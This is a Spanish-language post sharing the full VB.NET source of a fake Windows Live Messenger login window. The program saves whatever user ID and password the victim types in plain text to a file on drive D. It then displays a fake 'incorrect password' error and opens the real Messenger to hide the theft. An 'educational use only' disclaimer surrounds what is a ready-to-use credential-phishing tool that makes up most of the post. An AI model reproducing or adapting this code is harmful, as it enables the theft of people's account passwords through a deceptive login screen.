Codigo fuente msn falso

Hola amigos como lo prometido es deuda en esta ocasion les traigo el codigo fuente del programa en visual.net acerca del messenger falso.


Recuerden que esta informacion solo es de uso informativo y educativo, el uso que hagan de ella es bajo su responsabilidad. Si tienen dudas o preguntas no duden en hacerlas que se les responderan con la mayor prontitud prosible..
No siendo mas aqui les dejo el codigo fuente.
Public Class Form1
Dim cont As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
PicDisponible.Visible = True
Timer1.Enabled = False
End Sub

Private Sub Label2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label2.Click
Dim proceso As New System.Diagnostics.Process
With proceso
.StartInfo.FileName = "https://signup.live.com/signup.aspx?ru=http://home.live.com&id=507&rollrs=12&lic=1"
.Start()
End With
End Sub

Private Sub CmbEstado_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CmbEstado.SelectedIndexChanged

If CmbEstado.Text = "Disponible" Then
PicDisponible.Visible = True
PicOcupado.Visible = False
PicAusente.Visible = False
PicDesconectado.Visible = False
Else
If CmbEstado.Text = "Ocupado" Then
PicDisponible.Visible = False
PicOcupado.Visible = True
PicAusente.Visible = False
PicDesconectado.Visible = False
Else
If CmbEstado.Text = "Ausente" Then
PicDisponible.Visible = False
PicOcupado.Visible = False
PicAusente.Visible = True
PicDesconectado.Visible = False
Else
PicDisponible.Visible = False
PicOcupado.Visible = False
PicAusente.Visible = False
PicDesconectado.Visible = True
End If
End If
End If
End Sub

Private Sub Label4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label4.Click
Dim proceso As New System.Diagnostics.Process
With proceso
.StartInfo.FileName = "http://privacy.microsoft.com/es-es/default.mspx"
.Start()
End With


End Sub

Private Sub Label5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label5.Click
Dim proceso As New System.Diagnostics.Process
With proceso
.StartInfo.FileName = "http://windowslive.com/desktop/messenger"
.Start()
End With
End Sub

Private Sub Label6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label6.Click
Dim proceso As New System.Diagnostics.Process
With proceso
.StartInfo.FileName = "https://account.live.com/ResetPassword.aspx?mkt=ES-ES"
.Start()
End With
End Sub

Private Sub BtnIniciar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIniciar.Click

If TxtUsser.Text = "" Or TxtPass.Text = "" Then
MsgBox("NO PUEDES INICIAR SESIÓN WINDOWS LIVE MESSENGER" & Chr(13) & "Escribe tu ID. de Windows Live ID, en este formato: tunombre@ejemplo.com", MsgBoxStyle.Information, "Windows Live Messenger")
Else
My.Computer.FileSystem.WriteAllText("D:\guardar.txt", _
TxtUsser.Text, True)
My.Computer.FileSystem.WriteAllText("D:\guardar.txt", _
TxtPass.Text, True)
PanelRegistro.Visible = False
PanelEmoticon.Visible = True
LblIniciar.Text = "Iniciando sesión....."
Timer1.Enabled = True
End If
End Sub

Private Sub BtnCerrar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnCerrar.Click
'PanelRegistro.Visible = True
'PanelEmoticon.Visible = False
'LblIniciar.Text = "Iniciar sesión"
'TxtPass.Text = ""
'TxtPass.Focus()

End Sub

Private Sub PicMsnGris_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles PicMsnGris.MouseClick
PicAnderboy.Visible = True
PicMsnGris.Visible = False
MsgBox("Creado en su totalidad por @nd3[R]-Boy, derechos reservados." & Chr(13) & "Esto solo es material informativo, ni el creador, ni las paginas mensionadas se hacen responsables del uso de esta aplicacion, al descargarla toda la responsabilidad recae sobre quien la utilize. Damos conocimiento pero la responsabilidad es solo de quien lo maneje. No robes cuentas con esto, mejor aprende y practica estos conocimientos", MsgBoxStyle.Critical, "@nd3[R]-Boy creador de esta aplicacion")
MsgBox("si quieres aprender esto y mucho mas ingresa a WWW.REVOLUTIONTEAM.INFO, http://www.anderboy101.blogspot.com www.youtube.com/anderpoli, ó WWW.MYXOOMS.TK", MsgBoxStyle.Information, "Paginas aliadas")
MsgBox("Contactos vandalo89@hotmail.com", MsgBoxStyle.Critical, "CONTACTAME")

End Sub

Private Sub PicMsnGris_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PicMsnGris.Click

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If Timer1.Enabled = True Then
cont = cont + 1

End If
If cont = 1 Then
Timer1.Enabled = False
PanelRegistro.Visible = True
PanelEmoticon.Visible = False
LblIniciar.Text = "Iniciar sesión"
TxtPass.Text = ""
TxtPass.Focus()
End If
MsgBox("No puedes iniciar sesión en Windows Live Messenger" & Chr(13) & "La cuenta de Windows Live ID o la contraseña especificada no es correcta.", MsgBoxStyle.Information, "Windows Live Messenger")
Shell("C:\Program Files\Windows Live\Messenger\msnmsgr.exe", AppWinStyle.NormalFocus)
End

End Sub
End Class